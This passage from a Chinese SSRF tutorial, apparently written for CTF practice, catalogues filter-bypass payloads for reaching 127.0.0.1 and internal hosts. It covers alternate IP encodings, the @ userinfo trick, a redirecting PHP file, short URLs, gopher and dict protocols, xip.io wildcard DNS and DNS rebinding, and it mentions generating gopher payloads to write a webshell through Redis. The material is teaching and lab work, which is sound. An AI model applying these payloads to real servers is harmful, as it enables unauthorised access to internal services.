以上主要是为了演示 redis 命令执行,事实上可以直接通过 Gopherus 生成 gopher 协议的 payload 完成写入 webshell 操作:

img

0x09 绕过手法

URL 解析特性绕过

URL 的完整格式:

1
[协议类型]://[访问资源需要的凭证信息]@[服务器地址]:[端口号]/[资源层级UNIX文件路径][文件名]?[查询]#[片段ID]

在 URL 中:

  • @ 符号用于分隔认证信息和主机地址,因此 ctf 会被识别成认证信息,127.0.0.1 作为请求主机地址;
  • ? 表示查询字符串开始,后面的内容作为参数处理,而参数是可有可无的
  • # 表示片段标识符
1
2
url=http://ctf.@127.0.0.1/flag.php?any
url=http://ctf.@127.0.0.1/flag.php#any

等价于 http://127.0.0.1/flag.php

进制绕过

192.168.0.1 为例:

  • 十六进制:C0A80001
  • 十进制:3232235521
  • 二进制:11000000101010000000000000000001

对于 127.0.0.1

1
2
3
4
5
6
http://127.0.0.1/
http://2130706433/
http://0x7F000001/
http://0x7F.0.0.1/
http://017700000001/
http://0x7F.0.0.1/

IP 地址特殊写法绕过

127.1 是 127.0.0.1 最经典的省略写法。系统会自动将其补全为 127.0.0.1

1
http://127.1/

0 是 0.0.0.0 的极简省略写法。在某些系统、命令行工具或网络库中,单个 0 可以被识别并指向本机。

1
http://0/

整个 127.0.0.0/8 网段都是环回地址。根据 RFC 标准,从 127.0.0.1 到 127.255.255.254 的任何一个地址都会回环到本机

1
http://127.127.127.127

域名解析绕过

网上申请一个域名,假设为 hack .attack.com,将其添加一条 A 记录使其解析到 127.0.0.1,此后如果有人 ping http://hack.attack.com,就会 ping 127.0.0.1,那么同理,如果这样构造 payload,就可以实现访问本地

1
http://hack.attack.com

重定向绕过&短网址绕过

在公网服务器网站下面创建一个 location.php,当服务器访问到这里时,就会被重定向到本机 80 端口下的 flag.php

1
2
3
<?php
header("Location:http://127.0.0.1/flag.php");
?>

如果 192.168.0.1.xip.io 都被过滤了,但是重定向没有被控制;可以去 TINYURL 生成一个短 URL

访问短 URL 的流程就是

https://tinyurl.com/4czmrv9d->302 跳转-> 成功访问 192.168.0.1,这样就成功绕过了检查

协议绕过

如果是 php,可以试试 php 所有的伪协议以及冷门的非 HTTP 协议

1
2
3
4
5
6
7
8
9
10
11
12
13
php://系列
zip://
bzip2://
zlib://系列
data://
phar://
file://
dict://
sftp://
ftp://
tftp://
ldap://
gopher://

特殊用法绕过

1
2
3
4
http://[::]:80/ 
http://0000::1:80/
http://0/
192。168。0。1

泛域名解析绕过

xip.io 是一个提供通配符 DNS 解析的魔法域名。你可以无需配置,将自定义的任何域名解析到指定的 IP 地址。假设你的 IP 地址是 10.0.0.1,你只需使用 前缀域名+IP地址+xip.io 即可完成相应自定义域名解析

1
2
3
4
5
6
7
```

10.0.0.1.xip.io # 解析到 10.0.0.1
[www.10.0.0.2.xip.io](http://www.10.0.0.2.xip.io) # www 子域解析到 10.0.0.2
mysite.10.0.0.3.xip.io # mysite 子域解析到 10.0.0.3
foo.bar.10.0.0.4.xip.io # foo.bar 子域解析到 10.0.0.4

xip.io可以指向任意域名,如127.0.0.1.xip.io,可解析为127.0.0.1

Enclosed alphanumerics字符集绕过

能在这个网站看到这个字符合集,挑选合适的字符就行,适用于域名而不适用于直接IP访问

1
2
https://ⓦⓦⓦ.ⓔⓣⓔsⓣⓔ.ⓒⓄⓜ/
是完全等同于https://www.eteste.com/

DNS 重绑定绕过

推荐文章:https://www.anquanke.com/post/id/262430#h3-50

  1. 判定你给的 IP 或者域名解析后的 IP 是否在黑名单中
  2. 若在,退出报错
  3. 若不在,再次访问你给的 IP 或者域名解析后的 IP;执行后续业务模块

所以思路很简单:你只需要有个域名,但是它映射两个 IP;同时设置 TTL 为 0,能方便两个 IP 即刻切换

效果类比:你访问 wwfcww.xyz 这个域名,第一次解析的 IP 是 192.168.0.1;而第二次解析的 IP 是 127.0.0.1

这个操作,就叫做 DNS重绑定

参考:

https://www.cnblogs.com/miruier/p/13907150.html

https://blog.csdn.net/qq_61778128/article/details/127505896

https://www.freebuf.com/articles/web/303275.html

https://www.anquanke.com/post/id/262430#h3-3

https://blog.csdn.net/crisprx/article/details/104251284

https://blog.csdn.net/2301_80027701/article/details/153080961